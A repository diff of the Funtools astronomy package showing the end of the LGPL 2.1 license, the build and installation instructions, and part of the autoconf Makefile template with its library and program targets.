||||
an explicit geographical distribution limitation excluding those countries,
|
||||
so that distribution is permitted only in or among countries not thus
|
||||
excluded. In such case, this License incorporates the limitation as if
|
||||
written in the body of this License.
|
||||
|
||||
13. The Free Software Foundation may publish revised and/or new
|
||||
versions of the Lesser General Public License from time to time.
|
||||
Such new versions will be similar in spirit to the present version,
|
||||
but may differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Library
|
||||
specifies a version number of this License which applies to it and
|
||||
"any later version", you have the option of following the terms and
|
||||
conditions either of that version or of any later version published by
|
||||
the Free Software Foundation. If the Library does not specify a
|
||||
license version number, you may choose any version ever published by
|
||||
the Free Software Foundation.
|
||||
|
||||
14. If you wish to incorporate parts of the Library into other free
|
||||
programs whose distribution conditions are incompatible with these,
|
||||
write to the author to ask for permission. For software which is
|
||||
copyrighted by the Free Software Foundation, write to the Free
|
||||
Software Foundation; we sometimes make exceptions for this. Our
|
||||
decision will be guided by the two goals of preserving the free status
|
||||
of all derivatives of our free software and of promoting the sharing
|
||||
and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
|
||||
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
|
||||
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
|
||||
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
|
||||
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
|
||||
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
|
||||
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
|
||||
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
|
||||
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
|
||||
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
|
||||
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
|
||||
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
|
||||
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
|
||||
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
|
||||
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Libraries
|
||||
|
||||
If you develop a new library, and you want it to be of the greatest
|
||||
possible use to the public, we recommend making it free software that
|
||||
everyone can redistribute and change. You can do so by permitting
|
||||
redistribution under these terms (or, alternatively, under the terms of the
|
||||
ordinary General Public License).
|
||||
|
||||
To apply these terms, attach the following notices to the library. It is
|
||||
safest to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least the
|
||||
"copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the library's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the library, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the
|
||||
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1990
|
||||
Ty Coon, President of Vice
|
||||
|
||||
That's all there is to it!
|
||||
|
||||
|
|
@ -0,0 +1,312 @@
|
|||
Quick Summary
|
||||
=============
|
||||
|
||||
To build and install the Funtools package, simply execute:
|
||||
|
||||
./mkconfigure # generate all configure scripts
|
||||
./configure # site-specific configuration
|
||||
make # build the software
|
||||
make install # install it
|
||||
make clean # clean up unneeded temp files
|
||||
|
||||
The configure scripts are not part of the GitHub repository, so you must
|
||||
generate them for your site (you might need to install autoconf for this
|
||||
purpose):
|
||||
|
||||
./mkconfigure
|
||||
|
||||
You might want to install in a directory other than /usr/local, so as not to
|
||||
require root access. To do this, configure for a different install directory:
|
||||
|
||||
./configure --prefix=<top_level_install_dir>
|
||||
e.g.,
|
||||
./configure --prefix=/soft/saord
|
||||
|
||||
Programs will be installed in /soft/saord/bin, libraries in /soft/saord/lib,
|
||||
and include files in /soft/saord/include. Indeed, we do this at SAO and
|
||||
recommend it as a general rule, in order to keep SAORD software in one place
|
||||
that does not conflict with other installations. Note that you will need to
|
||||
add the bin directory to your path.
|
||||
|
||||
The build ("make") takes only a minute or so on modern machines. To
|
||||
monitor its progress and/or check for errors, redirect output to a file
|
||||
and use the 'tail' command:
|
||||
|
||||
make >& foo.log &; tail -f foo.log # csh
|
||||
or
|
||||
make 1>foo.log 2>&1 &; tail -f foo.log # sh, bash
|
||||
|
||||
|
||||
NB: Windows users
|
||||
=================
|
||||
|
||||
To build funtools on a Windows platform, you first need to install
|
||||
the Cygwin package from:
|
||||
|
||||
http://cygwin.com/
|
||||
|
||||
From the Web page:
|
||||
|
||||
Cygwin is a Linux-like environment for Windows. It consists of two
|
||||
parts: A DLL (cygwin1.dll) which acts as a Linux API emulation layer
|
||||
providing substantial Linux API functionality. A collection of tools
|
||||
which provide Linux look and feel.
|
||||
|
||||
When installing cygwin, make sure you install 'gcc' and 'make' from the
|
||||
Development package. I think that's all you need ...
|
||||
|
||||
Details of Installation
|
||||
=======================
|
||||
|
||||
|
||||
|
||||
NB: These are generic installation instructions, modified for Funtools.
|
||||
|
||||
The `configure' shell script attempts to guess correct values for
|
||||
various system-dependent variables used during compilation. It uses
|
||||
those values to create a `Makefile' in each directory of the package.
|
||||
It may also create one or more `.h' files containing system-dependent
|
||||
definitions. Finally, it creates a shell script `config.status' that
|
||||
you can run in the future to recreate the current configuration, a file
|
||||
`config.cache' that saves the results of its tests to speed up
|
||||
reconfiguring, and a file `config.log' containing compiler output
|
||||
(useful mainly for debugging `configure').
|
||||
|
||||
If you need to do unusual things to compile the package, please try
|
||||
to figure out how `configure' could check whether to do them, and mail
|
||||
diffs or instructions to the address given in the `README' so they can
|
||||
be considered for the next release. If at some point `config.cache'
|
||||
contains results you don't want to keep, you may remove or edit it.
|
||||
|
||||
The file `configure.in' is used to create `configure' by a program
|
||||
called `autoconf'. You only need `configure.in' if you want to change
|
||||
it or regenerate `configure' using a newer version of `autoconf'.
|
||||
|
||||
The simplest way to compile this package is:
|
||||
|
||||
`./configure' to configure the package for your system. If you're
|
||||
using `csh' on an old version of System V, you might need to type
|
||||
`sh ./configure' instead to prevent `csh' from trying to execute
|
||||
`configure' itself.
|
||||
|
||||
Running `configure' takes awhile. While running, it prints some
|
||||
messages telling which features it is checking for.
|
||||
|
||||
1. `cd' to the directory containing the package's source code and type
|
||||
"./configure". This runs a configuration script created by GNU
|
||||
autoconf, which configures Funtools for your system and creates a
|
||||
Makefile. The configure script allows you to customize the Funtools
|
||||
configuration for your site; for details on how you can do this,
|
||||
type "./configure -help" or refer to the autoconf documentation (not
|
||||
included here). The Funtools "configure" script supports the following
|
||||
special switch(es) in addition to the standard ones:
|
||||
|
||||
--enable-shared=yes|link|no
|
||||
Build shared libraries in addition to the
|
||||
default static library. There are two options:
|
||||
|
||||
If the value is "yes", shared libraries are
|
||||
built but not used to link xpa programs.
|
||||
|
||||
If the value is "link", shared libraries are
|
||||
used to link xpa programs. If therefore becomes
|
||||
your responsibility to put the shared library
|
||||
where it can be found (or use LD_LIBRARY_PATH).
|
||||
|
||||
--enable-dl=yes|no
|
||||
With gcc available, perform on-the-fly filtering
|
||||
by compiling a shared object and dynamically
|
||||
loading it into the executable. The default is
|
||||
to compile and link a separate slave program.
|
||||
(Surprisingly, processing speed is about the
|
||||
same for both methods.)
|
||||
|
||||
--enable-mainlib=yes|no
|
||||
Build funtools mainlib support, which allows
|
||||
user programs to call funtools as subroutines.
|
||||
This is an experimental interface.
|
||||
|
||||
Standard options are listed below. the most important of which
|
||||
is --prefix (to specify where to install) and --exec-prefix (where to
|
||||
install executables, if the top level is different from where libraries
|
||||
and include files are being installed. At SAO, we just use --prefix.
|
||||
We recommend --prefix be set to a directory that will hold saord software
|
||||
(e.g., --prefix=/soft/saord) in order to make management of our software
|
||||
easier.
|
||||
|
||||
NB: be sure to use only absolute path names (those starting with "/")
|
||||
in the --prefix and --exec_prefix options. (The configure options we
|
||||
use at SAO for various machines are given as examples in the script
|
||||
file called "saoconfig" in this directory.)
|
||||
|
||||
NB: Please avoid use of --prefix with 'make install' to change the
|
||||
install directory. We use the original value of --prefix to determine
|
||||
where compiled objects are located for linking slave filter programs.
|
||||
The slave will look in that directory for imregions.o and evregions.o.
|
||||
If you change the install directory, you will not be able to use these
|
||||
precompiled objects. Instead, each filter will have to recompile the
|
||||
region code.
|
||||
|
||||
Compiler flags can be placed on the configure command line after the
|
||||
switches. For example, to use the icc compiler under Linux, you can
|
||||
configure this way:
|
||||
|
||||
./configure --prefix=... CC=icc CFLAGS="..."
|
||||
|
||||
If you are going to be dealing with data files larger than 2Gb,
|
||||
you will need to build in large file support. For gcc and many other
|
||||
compilers, this is done using the following CFLAGS:
|
||||
|
||||
./configure CFLAGS="-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64"
|
||||
|
||||
Of course, you can put other switches into CFLAGS as needed:
|
||||
|
||||
./configure CFLAGS="-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -Wall -g"
|
||||
|
||||
2. Type `make' to compile the package. This will create the libfuntools.a
|
||||
library and the Funtools utility programs (funcnts, fundisp, etc.)
|
||||
|
||||
3. You can build the libxpa.so shared library manually by executing:
|
||||
|
||||
make shlib
|
||||
|
||||
at this point.
|
||||
|
||||
4. Type "make install" to install Funtools libraries and binaries in
|
||||
standard places. You'll need write permission on the installation
|
||||
directories to do this. The installation directories are
|
||||
determined by the "configure" script and may be specified with
|
||||
the --prefix option to "configure". See the Makefile for information
|
||||
on what directories were chosen.
|
||||
|
||||
5. There are .html help files in the doc directory. You can copy
|
||||
these files to a more convenient location, if you like. We
|
||||
did not automate this step because we did not know where to
|
||||
copy these files by default. (NB: The help.html file is the
|
||||
top level index file.)
|
||||
|
||||
6. You can remove the program binaries and object files from the
|
||||
source code directory by typing `make clean'. To also remove the
|
||||
files that `configure' created (so you can compile the package for
|
||||
a different kind of computer), type `make Distclean'. The latter
|
||||
also removes all Makefiles (except the one at the top level).
|
||||
|
||||
Compilers and Options
|
||||
=====================
|
||||
|
||||
Some systems require unusual options for compilation or linking that
|
||||
the `configure' script does not know about. You can give `configure'
|
||||
initial values for variables by setting them in the environment:
|
||||
|
||||
./configure CC=c89 CFLAGS=-O2 LIBS=-lposix
|
||||
|
||||
You also can use this facility to specify a compiler other than the default
|
||||
gcc (if it exists).
|
||||
|
||||
Installation Names
|
||||
==================
|
||||
|
||||
By default, `make install' will install the package's files in
|
||||
`/usr/local/bin', `/usr/local/lib', etc. You can specify an
|
||||
installation prefix other than `/usr/local' by giving `configure' the
|
||||
option `--prefix=PATH':
|
||||
|
||||
e.g.,
|
||||
./configure --prefix=/soft/saord
|
||||
|
||||
Programs will be installed in /soft/saord/bin, libraries in /soft/saord/lib,
|
||||
and include files in /soft/saord/include. We recommend this as a general rule,
|
||||
in order to keep SAORD software in one place that does not conflict with other
|
||||
installations. Note that you will need to add the bin directory to your path.
|
||||
|
||||
You can specify separate installation prefixes for architecture-specific
|
||||
files and architecture-independent files. If you give `configure' the option
|
||||
`--exec-prefix=PATH', the package will use PATH as the prefix for installing
|
||||
programs and libraries. Documentation and other data files will still use the
|
||||
regular prefix.
|
||||
|
||||
In addition, if you use an unusual directory layout you can give
|
||||
options like `--bindir=PATH' to specify different values for particular
|
||||
kinds of files. Run `configure --help' for a list of the directories
|
||||
you can set and what kinds of files go in them.
|
||||
|
||||
If the package supports it, you can cause programs to be installed
|
||||
with an extra prefix or suffix on their names by giving `configure' the
|
||||
option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'.
|
||||
|
||||
Optional Features
|
||||
=================
|
||||
|
||||
Some packages pay attention to `--enable-FEATURE' options to
|
||||
`configure', where FEATURE indicates an optional part of the package.
|
||||
They may also pay attention to `--with-PACKAGE' options, where PACKAGE
|
||||
is something like `gnu-as' or `x' (for the X Window System). The
|
||||
`README' should mention any `--enable-' and `--with-' options that the
|
||||
package recognizes.
|
||||
|
||||
Specifying the System Type
|
||||
==========================
|
||||
|
||||
There may be some features `configure' can not figure out
|
||||
automatically, but needs to determine by the type of host the package
|
||||
will run on. Usually `configure' can figure that out, but if it prints
|
||||
a message saying it can not guess the host type, give it the
|
||||
`--host=TYPE' option. TYPE can either be a short name for the system
|
||||
type, such as `sun4', or a canonical name with three fields:
|
||||
CPU-COMPANY-SYSTEM
|
||||
|
||||
See the file `config.sub' for the possible values of each field. If
|
||||
`config.sub' isn't included in this package, then this package doesn't
|
||||
need to know the host type.
|
||||
|
||||
If you are building compiler tools for cross-compiling, you can also
|
||||
use the `--target=TYPE' option to select the type of system they will
|
||||
produce code for and the `--build=TYPE' option to select the type of
|
||||
system on which you are compiling the package.
|
||||
|
||||
Sharing Defaults
|
||||
================
|
||||
|
||||
If you want to set default values for `configure' scripts to share,
|
||||
you can create a site shell script called `config.site' that gives
|
||||
default values for variables like `CC', `cache_file', and `prefix'.
|
||||
`configure' looks for `PREFIX/share/config.site' if it exists, then
|
||||
`PREFIX/etc/config.site' if it exists. Or, you can set the
|
||||
`CONFIG_SITE' environment variable to the location of the site script.
|
||||
A warning: not all `configure' scripts look for a site script.
|
||||
|
||||
Operation Controls
|
||||
==================
|
||||
|
||||
`configure' recognizes the following options to control how it
|
||||
operates.
|
||||
|
||||
`--cache-file=FILE'
|
||||
Use and save the results of the tests in FILE instead of
|
||||
`./config.cache'. Set FILE to `/dev/null' to disable caching, for
|
||||
debugging `configure'.
|
||||
|
||||
`--help'
|
||||
Print a summary of the options to `configure', and exit.
|
||||
|
||||
`--quiet'
|
||||
`--silent'
|
||||
`-q'
|
||||
Do not print messages saying which checks are being made. To
|
||||
suppress all normal output, redirect it to `/dev/null' (any error
|
||||
messages will still be shown).
|
||||
|
||||
`--srcdir=DIR'
|
||||
Look for the package's source code in directory DIR. Usually
|
||||
`configure' can determine that directory automatically.
|
||||
|
||||
`--version'
|
||||
Print the version of Autoconf used to generate the `configure'
|
||||
script, and exit.
|
||||
|
||||
`configure' also accepts some other, not widely useful, options.
|
||||
|
||||
If you have questions, please contact us at: saord@cfa.harvard.edu.
|
||||
|
||||
Eric Mandel
|
||||
|
|
@ -0,0 +1,754 @@
|
|||
#
|
||||
# This file is a Makefile for Funtools. If it has the name "Makefile.in"
|
||||
# then it is a template for a Makefile; to generate the actual Makefile,
|
||||
# run "./configure", which is a configuration script generated by the
|
||||
# "autoconf" program (constructs like "@foo@" will get replaced in the
|
||||
# actual Makefile.
|
||||
#
|
||||
|
||||
PACKAGE = @PACKAGE_NAME@
|
||||
VERSION = @PACKAGE_VERSION@
|
||||
|
||||
DISTNAME = funtools-${VERSION}
|
||||
DISTDIR = ../export/${DISTNAME}
|
||||
FTPDIR = ../ftp
|
||||
|
||||
#----------------------------------------------------------------
|
||||
# Things you can change to personalize the Makefile for your own
|
||||
# site (you can make these changes in either Makefile.in or
|
||||
# Makefile, but changes to Makefile will get lost if you re-run
|
||||
# the configuration script).
|
||||
#----------------------------------------------------------------
|
||||
|
||||
# Default top-level directories in which to install architecture-
|
||||
# specific files (exec_prefix) and machine-independent files such
|
||||
# as scripts (prefix). The values specified here may be overridden
|
||||
# at configure-time with the --exec-prefix and --prefix options
|
||||
# to the "configure" script.
|
||||
|
||||
prefix = @prefix@
|
||||
exec_prefix = @exec_prefix@
|
||||
|
||||
# The following definition can be set to non-null for special systems
|
||||
# like AFS with replication. It allows the pathnames used for installation
|
||||
# to be different than those used for actually reference files at
|
||||
# run-time. INSTALL_ROOT is prepended to $prefix and $exec_prefix
|
||||
# when installing files.
|
||||
INSTALL_ROOT = $(DESTDIR)
|
||||
|
||||
# Directory in which to install the .a or .so binary for the FUNTOOLS library:
|
||||
LIB_INSTALL_DIR = $(INSTALL_ROOT)$(exec_prefix)/lib
|
||||
|
||||
# Directory in which to install the program wish:
|
||||
BIN_INSTALL_DIR = $(INSTALL_ROOT)$(exec_prefix)/bin
|
||||
|
||||
# Directory in which to install the funtools.h include file:
|
||||
INCLUDE_INSTALL_DIR = $(INSTALL_ROOT)$(prefix)/include/funtools
|
||||
|
||||
# Top-level directory for manual entries:
|
||||
MAN_INSTALL_DIR = $(INSTALL_ROOT)$(prefix)/share/man
|
||||
|
||||
# Top-level directory for share entries:
|
||||
MAN_SHARE_DIR = $(INSTALL_ROOT)$(prefix)/share/funtools
|
||||
|
||||
# util files are in the util subdirectory
|
||||
UTIL_INC = -I./util
|
||||
# UTIL_LIBS = -L./util -lutil
|
||||
|
||||
# fitsy files are in the fitsy subdirectory
|
||||
FITSY_INC = -I./fitsy
|
||||
# FITSY_LIBS = -L./fitsy -lfitsy
|
||||
|
||||
# wcs files are in the wcs subdirectory
|
||||
WCS_INC = -I./wcs
|
||||
# WCS_LIBS = -L./wcs -lwcs
|
||||
|
||||
# filter files are in the filter subdirectory
|
||||
FILTER_INC = -I./filter
|
||||
# FILTER_LIBS = -L./filter -lfilter
|
||||
|
||||
# extra includes for compiling
|
||||
INCLUDES = $(UTIL_INC) $(FILTER_INC) $(WCS_INC) $(FITSY_INC)
|
||||
|
||||
# extra libs
|
||||
EXTRA_LIBS = @EXTRA_LIBS@
|
||||
|
||||
# the full set of libraries for linking
|
||||
LIBS = $(UTIL_LIBS) $(FILTER_LIBS) $(WCS_LIBS) $(FITSY_LIBS) \
|
||||
$(EXTRA_LIBS) -lm
|
||||
|
||||
# To change the compiler switches, for example to change from -O
|
||||
# to -g, change the following line:
|
||||
CFLAGS = @CFLAGS@
|
||||
|
||||
# To add ld switches, change the following line:
|
||||
LDFLAGS = @LDFLAGS@
|
||||
|
||||
# whether to set the FPU in double round mode
|
||||
USE_FPU_DOUBLE = @USE_FPU_DOUBLE@
|
||||
|
||||
# Some versions of make, like SGI's, use the following variable to
|
||||
# determine which shell to use for executing commands:
|
||||
SHELL = /bin/sh
|
||||
|
||||
# extra modules added by configure.in to fix OS bugs
|
||||
EXTRA_OBJS = @EXTRA_OBJS@
|
||||
|
||||
# special definitions for funcalc (based on filter configuration)
|
||||
FUNCALC_CC = @FILTER_CC@
|
||||
FUNCALC_CFLAGS = @FILTER_CFLAGS@
|
||||
|
||||
# if enabled-shared was specified, this will exand to "shlib" and trigger
|
||||
# building of the shared library
|
||||
DOSHARED = @DOSHARED@
|
||||
DOMAINLIB = @DOMAINLIB@
|
||||
|
||||
# There are just too many different versions of "install" around;
|
||||
# better to use the install-sh script that comes with the distribution,
|
||||
# which is slower but guaranteed to work.
|
||||
|
||||
INSTALL = @srcdir@/install-sh -c
|
||||
INSTALL_PROGRAM = ${INSTALL}
|
||||
INSTALL_DATA = ${INSTALL} -m 644
|
||||
|
||||
# which awk-like program do we have?
|
||||
PRE= @PRE@
|
||||
POST= @POST@
|
||||
AWK = @AWK@
|
||||
PIPEGLUE = @PIPEGLUE@
|
||||
GUNZIP = @GUNZIP@
|
||||
GNUPLOT = @GNUPLOT@
|
||||
|
||||
#----------------------------------------------------------------
|
||||
# The information below is modified by the configure script when
|
||||
# Makefile is generated from Makefile.in. You shouldn't normally
|
||||
# modify any of this stuff by hand.
|
||||
#----------------------------------------------------------------
|
||||
|
||||
AC_FLAGS = @DEFS@
|
||||
RANLIB = @RANLIB@
|
||||
EXE = @EXEEXT@
|
||||
|
||||
#----------------------------------------------------------------
|
||||
# The information below should be usable as is. The configure
|
||||
# script won't modify it and you shouldn't need to modify it
|
||||
# either.
|
||||
#----------------------------------------------------------------
|
||||
|
||||
CC = @CC@
|
||||
|
||||
CC_SWITCHES = -I. ${CFLAGS} ${CPPFLAGS} @USE_DL@ ${INCLUDES} ${AC_FLAGS}
|
||||
|
||||
DEPEND_SWITCHES = -I. ${CFLAGS} ${INCLUDES} ${AC_FLAGS}
|
||||
|
||||
SRCS = funcol.c funcopy.c funtab.c funim.c funinfo.c \
|
||||
funopen.c funopenp.c funparam.c funtext.c funwcs.c \
|
||||
funview.c funutil.c
|
||||
|
||||
OBJS = funcol.o funcopy.o funtab.o funim.o funinfo.o \
|
||||
funopen.o funopenp.o funparam.o funtext.o funwcs.o \
|
||||
funview.o funutil.o
|
||||
|
||||
# these are all the modules going into the "normal" funtools library
|
||||
LIBOBJS = ${OBJS}
|
||||
|
||||
# the default library for this package
|
||||
DEFLIB = @DEFLIB@
|
||||
|
||||
# the actual library we are building (if this is a subpackage)
|
||||
LIB = @LIB@
|
||||
|
||||
# this is used in the link line
|
||||
# LLIB = $(LIB)
|
||||
LLIB = @LLIB@
|
||||
|
||||
# libraries containing main as subroutines
|
||||
MAINLIB = lib$(PACKAGE)MainLib.a
|
||||
|
||||
PROGS = funcalc funcen funcnts funcone fundisp funhead funhist \
|
||||
funimage funjoin funmerge funsky funtable
|
||||
|
||||
MAINLIBOBJS = funcalc_main.o funcen_main.o funcnts_main.o funcone_main.o \
|
||||
fundisp_main.o funhead_main.o funhist_main.o \
|
||||
funimage_main.o funmerge_main.o funsky_main.o funtable_main.o \
|
||||
funjoin_main.o
|
||||
|
||||
PROGS2 = _sort
|
||||
|
||||
TEMPLATES = funcnts_plot.tmpl funhist_plot.tmpl funcnts_sed.tmpl \
|
||||
funtools_ds9.tmpl funds9.tmpl funtbl.tmpl funindex.tmpl
|
||||
|
||||
SCRIPTS = funcnts.plot funhist.plot funcnts.sed funds9 funtbl funindex
|
||||
|
||||
DS9HELPERS = funtools.ds9
|
||||
|
||||
FILES = funcalc.sed
|
||||
|
||||
DEVEL =
|
||||
|
||||
# Subdirectories to run make in for the primary targets.
|
||||
|
||||
SUBLIBS = util fitsy wcs filter
|
||||
|
||||
SUBDIRS = $(SUBLIBS) gnu funtest faq
|
||||
|
||||
all: lib progs progs2 scripts ds9helpers
|
||||
|
||||
progs: $(PROGS)
|
||||
|
||||
progs2: $(PROGS2)
|
||||
|
||||
scripts: $(SCRIPTS)
|
||||
|
||||
ds9helpers: $(DS9HELPERS)
|
||||
|
||||
devel: $(DEVEL)
|
||||
|
||||
libutil: FORCE
|
||||
@(echo Making libutil.a in util ...; \
|
||||
cd util; $(MAKE) libutil; mv libutil.a ..)
|
||||
|
||||
sublib: FORCE
|
||||
@for dir in $(SUBLIBS); do \
|
||||
echo " "; \
|
||||
echo Making library in $$dir ...; \
|
||||
(cd $$dir; $(MAKE)) ; \
|
||||
done
|
||||
|
||||
lib: $(LIB) $(DOMAINLIB) $(DOSHARED)
|
||||
|
||||
$(LIB): sublib $(LIBOBJS)
|
||||
ar cruv $(LIB) $(LIBOBJS)
|
||||
$(RANLIB) $(LIB)
|
||||
|
||||
funmainlib.c: $(MAINLIBOBJS) mkfunmainlib
|
||||
echo $(PROGS) | ./mkfunmainlib > funmainlib.c;
|
||||
|
||||
shlib: sublib $(LIBOBJS)
|
||||
@(rm -rf $(PACKAGE)tmp; mkdir $(PACKAGE)tmp; \
|
||||
(cd $(PACKAGE)tmp && ar x ../$(LIB)); \
|
||||
CC='$(CC)' CXX=$(CXX) \
|
||||
./mklib -o $(PACKAGE) $(PACKAGE)tmp/*.o; \
|
||||
rm -rf $(PACKAGE)tmp;)
|
||||
|
||||
mainlib: $(MAINLIBOBJS) funmainlib.o lex.calc.o
|
||||
@(ar cruv lib$(PACKAGE)MainLib.a \
|
||||
$(MAINLIBOBJS) funmainlib.o lex.calc.o; \
|
||||
$(RANLIB) lib$(PACKAGE)MainLib.a)
|
||||
|
||||
shmainlib: mainlib
|
||||
@(rm -rf $(PACKAGE)tmp; mkdir $(PACKAGE)tmp; \
|
||||
(cd $(PACKAGE)tmp && ar x ../lib$(PACKAGE)MainLib.a); \
|
||||
CC='$(CC)' CXX='$(CXX)' \
|
||||
./mklib -o $(PACKAGE)MainLib -L. -lfuntools $(PACKAGE)tmp/*.o;\
|
||||
rm -rf $(PACKAGE)tmp;)
|
||||
|
||||
tclfun: $(LIB) tclmainlib.o tclfun.o
|
||||
@(ar cruv libtclfun.a tclmainlib.o tclfun.o; \
|
||||
$(RANLIB) libtclfun.a)
|
||||
|
||||
shtclfun: tclfun
|
||||
@(rm -rf $(PACKAGE)tmp; mkdir $(PACKAGE)tmp; \
|
||||
(cd $(PACKAGE)tmp && ar x ../$(LIB) && ar x ../libtclfun.a); \
|
||||
CC='$(CC)' CXX='$(CXX)' \
|
||||
./mklib -o tclfun $(PACKAGE)tmp/*.o; \
|
||||
rm -rf $(PACKAGE)tmp; \
|
||||
test -r pkgIndex.tcl && mv pkgIndex.tcl pkgIndex.tcl-old; \
|
||||
SHLIB=libtclfun.so; \
|
||||
test -r libtclfun.dylib && SHLIB=libtclfun.dylib; \
|
||||
echo "pkg_mkIndex -direct . $${SHLIB}; exit" | tclsh;)
|
||||
|
||||
tclfun.c: FORCE
|
||||
echo $(PROGS) | ./mkfunmainlib -tcl > tclfun.c
|
||||
|
||||
|
||||
tclmainlib.o: util/tclmainlib.c
|
||||
$(CC) -c $(CC_SWITCHES) util/tclmainlib.c
|
||||
|
||||
funcalc: funcalc.o lex.calc.o lib
|
||||
$(CC) $(LDFLAGS) funcalc.o lex.calc.o -o funcalc \
|
||||
$(LLIB) $(LIBS)
|
||||
|
||||
funcen: funcen.o lib
|
||||
$(CC) $(LDFLAGS) funcen.o -o funcen $(LLIB) $(LIBS)
|
||||
|
||||
funcnts: funcnts.o lib
|
||||
$(CC) $(LDFLAGS) funcnts.o -o funcnts $(LLIB) $(LIBS)
|
||||
|
||||
funcone: funcone.o lib
|
||||
$(CC) $(LDFLAGS) funcone.o -o funcone $(LLIB) $(LIBS)
|
||||
|
||||
fundisp: fundisp.o lib
|
||||
$(CC) $(LDFLAGS) fundisp.o -o fundisp $(LLIB) $(LIBS)
|
||||
|
||||
funhist: funhist.o lib
|
||||
$(CC) $(LDFLAGS) funhist.o -o funhist $(LLIB) $(LIBS)
|
||||
|
||||
funhead: funhead.o lib
|
||||
$(CC) $(LDFLAGS) funhead.o -o funhead $(LLIB) $(LIBS)
|
||||
|
||||
funimage: funimage.o lib
|
||||
$(CC) $(LDFLAGS) funimage.o -o funimage $(LLIB) $(LIBS)
|
||||
|
||||
funjoin: funjoin.o lib
|
||||
$(CC) $(LDFLAGS) funjoin.o -o funjoin $(LLIB) $(LIBS)
|
||||
|
||||
funmerge: funmerge.o lib
|
||||
$(CC) $(LDFLAGS) funmerge.o -o funmerge $(LLIB) $(LIBS)
|
||||
|
||||
funsky: funsky.o lib
|
||||
$(CC) $(LDFLAGS) funsky.o -o funsky $(LLIB) $(LIBS)
|
||||
|
||||
funtable: funtable.o lib
|
||||
$(CC) $(LDFLAGS) funtable.o -o funtable $(LLIB) $(LIBS)
|
||||
|
||||
_sort: FORCE
|
||||
@(echo " "; echo "Making in gnu ..."; cd gnu; $(MAKE))
|
||||
|
||||
funcalc_main.o: funcalc.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funcalc_main" \
|
||||
-o funcalc_main.o funcalc.c
|
||||
funcen_main.o: funcen.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funcen_main" \
|
||||
-o funcen_main.o funcen.c
|
||||
|
||||
funcnts_main.o: funcnts.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funcnts_main" \
|
||||
-o funcnts_main.o funcnts.c
|
||||
funcone_main.o: funcone.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funcone_main" \
|
||||
-o funcone_main.o funcone.c
|
||||
fundisp_main.o: fundisp.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="fundisp_main" \
|
||||
-o fundisp_main.o fundisp.c
|
||||
funhist_main.o: funhist.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funhist_main" \
|
||||
-o funhist_main.o funhist.c
|
||||
funhead_main.o: funhead.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funhead_main" \
|
||||
-o funhead_main.o funhead.c
|
||||
funimage_main.o: funimage.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funimage_main" \
|
||||
-o funimage_main.o funimage.c
|
||||
funjoin_main.o: funjoin.c
|
||||
$(CC) -c $(CC_SWITCHES) -Dmain="funjoin_main" \
|
||||
-o funjoin_main.o funjoin.c
|
||||
funmerge_main.o: funmerge.c
|
||||
